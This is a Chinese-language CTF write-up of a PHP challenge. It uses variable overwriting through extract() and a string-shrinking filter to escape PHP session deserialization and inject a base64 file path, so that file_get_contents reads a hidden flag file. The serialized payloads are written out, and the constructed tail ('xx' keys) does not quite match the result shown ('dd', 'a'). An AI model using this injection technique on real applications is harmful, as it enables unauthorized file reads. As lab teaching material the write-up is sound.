进web就给了源码
1:
$_GET['f']用来决定下一步执行哪个步骤
2:
$_SESSION["user"]='guest';
$_SESSION["function"]=$function;
执行完这步后。session内的内容如下
user=guest
function=$_GET['f'];
3:
extract($_POST);
这里存在一个变量覆盖。那么前面$_SESSION的两个键值都可以覆盖掉
4:
$_SESSION['img']=sha1(base64_encode($_GET['img_path']));
将img_path经过base64.sha1加密后存入$_SESSION['img'];
5:
将$_SESSION反序列化。然后将flag。php。php5.php5.fl1g都替换为空
6:
根据之前的$function,来决定执行哪步操作
这里执行phpinfo这步。提示有something in here
如果$function==show_image
反序列化之前的session。取其中的img参数。base64解码。读取
session反序列化做的不多。。。看到题。也没什么思路。
看了writeup才知道。这题是变量覆盖session的参数。经过过滤函数。会将session里的字符串替换。反序列化键值对应的值就会自动向后移。这个就要清楚反序列化那个字符串每个的意义
解题思路大致是:通过最后的file_get_contents来获取flag。但是我们不知道flag在哪
我试了下常见的flag.php flag.txt flag无果
接着phpinfo说给了提示
进去看下。我看了一大堆。php_serialize的东西。还以为是以前的session解释器不同导致的反序列化
找到了flag的目录。这个参数是自动包含。每个php都会自动包含此参数中的文件,在SUCTF中文件上传考到过
知道了flag路径。我们就从后面反推下
想读取文件。就必须通过$_SESSION['img']base64解密
然而。在前面这个值是sha1+base64+img_path决定的
这里就要用到我们的变量覆盖了
变量覆盖:_SESSION['user']=flagflagflagflagflagflag&_SESSION[function]=qqqqqq
"a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:2:"qq";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}"
以上是序列化的值。再放入filter函数过滤
过滤完后。会将flag都替换为空。值就变成了
"a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"qq";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}"
user对应的值就没了。
这里就涉及一个序列化的内容。序列化内容读取数据时由于前面定义了s:24。s长度为24。那么。它就会向后读取24个长度。把后面";s:8:"function";s:2:"qq当做是值。
"a:3:{s:4:"user";s:24:"值";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}"
可以看到。程序还是3个键。结构没有被破坏、
php反序列化时。当一整段内容反序列化结束后。后面的非法字符就会被忽略。那么程序怎么判断反序列化是否结束呢。这个就是最前面定义的a:s。1:3个键 2:}结尾
由于内容可控。我们可以将_SESSION[function]的内容重写反序列化的内容。重写一个base64。以}结尾。原本sha1就会被当做是非法字符给忽略
开始构造。首先。flag会被替换。我们就要计算好。从哪边开始当做值。我们user部分可控。第二个function可控。但是user到function那个值的长度为24。所以。我们要读取24个字节。才能让function重写值,不然。读取20个字节。function前面带个9:"a。这就破坏了结构。不能正常反序列化
OK。function前面的值都被user给读取了。现在只需要构造2个键值。然后}结尾。就能正常反序列化
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a
首先就是"闭合;结尾
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";
这里就完成了第一个键,注意最后的a是function参数的第一字符。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
第二个键
接下来随便构造了。没要求
s:2:"xx";s:2:"xx";}
构造完拼接在一起
a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"xx";s:2:"xx";}
反序列化后替换就成了
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}
a:3:{s:4:"user";s:24:"值";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:40:"da39a3ee5e6b4b0d3255bfef95601890afd80709";}
去掉非法字符
a:3:{s:4:"user";s:24:"值";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
最后代码读取session中的[img]。将其base64解密。就能读取文件了
继续读取。修改payload中的base64。修改了base64.前面对应的字符长度也要修改